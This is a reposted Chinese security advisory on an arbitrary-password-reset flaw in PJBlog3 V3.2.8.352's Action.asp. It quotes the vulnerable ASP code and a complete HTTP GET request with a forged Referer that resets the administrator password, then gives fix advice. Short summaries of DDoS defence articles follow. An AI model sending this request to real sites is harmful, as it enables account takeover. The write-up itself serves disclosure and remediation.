PJBlog3 Action.asp任意用户密码修改漏洞
作者:夜鞌不睡
时间:2026-08-02
转载
2011年6月19日 | PJBlog3 V3 2 8 352 任意密码修改漏洞深度分析 这是一份发布于2011年的安全漏洞报告,专门针对PJBlog3 V3 2 8 352版本。PJBlog是一套开源免费的个人博客系统,基于ASP+Access架构,性能表现良好,更新也较为及时。然而,这次曝出
# 2011年6月19日 | PJBlog3 V3.2.8.352 任意密码修改漏洞深度分析
这是一份发布于2011年的安全漏洞报告,专门针对PJBlog3 V3.2.8.352版本。PJBlog是一套开源免费的个人博客系统,基于ASP+Access架构,性能表现良好,更新也较为及时。然而,这次曝出的设计缺陷漏洞,使得整个系统的安全性大打折扣——攻击者可以绕过权限验证,直接修改任意用户的登录密码,包括管理员账户。
## 漏洞详情
问题根源在于 `Action.asp` 文件。当请求参数 `action` 为 `updatepassto` 时,程序会执行密码修改逻辑。关键代码如下:
```asp
ElseIf Request.QueryString("action") = "updatepassto" Then //第307行
If ChkPost() Then
Dim e_Pass, e_RePass, e_ID, e_Rs, e_hash, d_pass
e_ID = CheckStr(UnEscape(Request.QueryString("id")))
e_Pass = CheckStr(UnEscape(Request.QueryString("pass")))
e_RePass = CheckStr(UnEscape(Request.QueryString("repass")))
Set e_Rs = Server.CreateObject("Adodb.Recordset")
e_Rs.open "Select * From [blog_Member] Where [mem_ID]="&e_ID, Conn, 1, 3
e_hash = e_Rs("mem_salt")
d_pass = SHA1(e_Pass&e_hash)
e_Rs("mem_Password") = d_pass
e_Rs.update
e_Rs.Close
Set e_Rs = nothing
response.Write("1")
Else
response.write lang.Err.info(999)
End If
```
问题十分明显:**代码在修改用户密码时,完全没有验证当前请求的权限身份**。它直接根据 `id` 参数取出对应用户记录,然后将新密码(经过SHA1哈希)写入数据库。只要攻击者知道或猜测出目标用户的 `mem_ID`(例如管理员通常为1),就能直接通过构造GET请求来重置密码。而 `ChkPost()` 函数仅检查了Referer来源,并未做任何身份鉴别——这形同虚设。
## 测试验证
要复现这个漏洞,只需发送一个精心构造的HTTP请求,并确保 `Referer` 字段指向一个合法来源(比如 `http://127.0.0.1/test.htm`)。以下是一个完整的测试请求示例:
```http
GET /action.asp?action=updatepassto&id=1&pass=123456&repass=test HTTP/1.1
Accept: application/x-shockwa ve-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://127.0.0.1/test.htm
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTra veler 4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Host: 127.0.0.1
Connection: Keep-Alive
Cookie: PJBlog3Setting=ViewType=normal; PJBlog3=memRight=000000110000&memHashKey=&memName=&DisValidate=False&memLastpost=2009%2D11%2D08+11%3A18%3A27&exp=2010%2D11%2D8&Guest=%7Brecord%3Atrue%2Cusername%3A%27test%27%2Cuseremail%3A%27ww%40126%2Ecom%27%2Cuserwebsite%3A%27http%3A%2F%2Fwww%2Ebaidu%2Ecom%2Findex%3F%26lt%3Bfff%26gt%3B%27%7D; ASPSESSIONIDASDSSADD=DAMNKLBDKADFCKOGKEJOKJPP; ASPSESSIONIDCQCQTBCD=MOJFLCCDBICHALBBGGMMENML
```
实际测试结果:成功将 `id=1`(即管理员账户)的密码修改为 `123456`。
## 修复建议
从安全角度出发,这个漏洞的修复方法非常明确:**在修改密码之前,必须严格验证当前用户的身份权限**。具体来说,应该先判断当前登录用户是否与要修改的 `id` 匹配,或者至少要求管理员权限才能修改其他用户的密码。只需增加一个 `If Session("mem_ID") = e_ID Then` 或者 `If IsAdmin() Then` 的判断,就能有效堵住这个风险。
值得一提的是,这个漏洞的出现也提醒我们:在开发任何涉及用户敏感操作的页面时,**权限校验永远是第一道防线**,不能仅仅依赖 `Referer` 或 `ChkPost()` 这类轻量级检查。否则,一个看似简单的“设计错误”,就可能让整个系统门户大开,面临严重的安全威胁。
游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。
DDoS攻击的三大主要形式:原理、特征与防御重点
DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。
如何有效预防和缓解DDoS攻击:5大核心策略详解
面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。
DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析
许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。
常见DDoS攻击类型详解:原理、特征与防御策略
本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。
如何有效抵御DDOS攻击:4种核心防护方案解析
面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。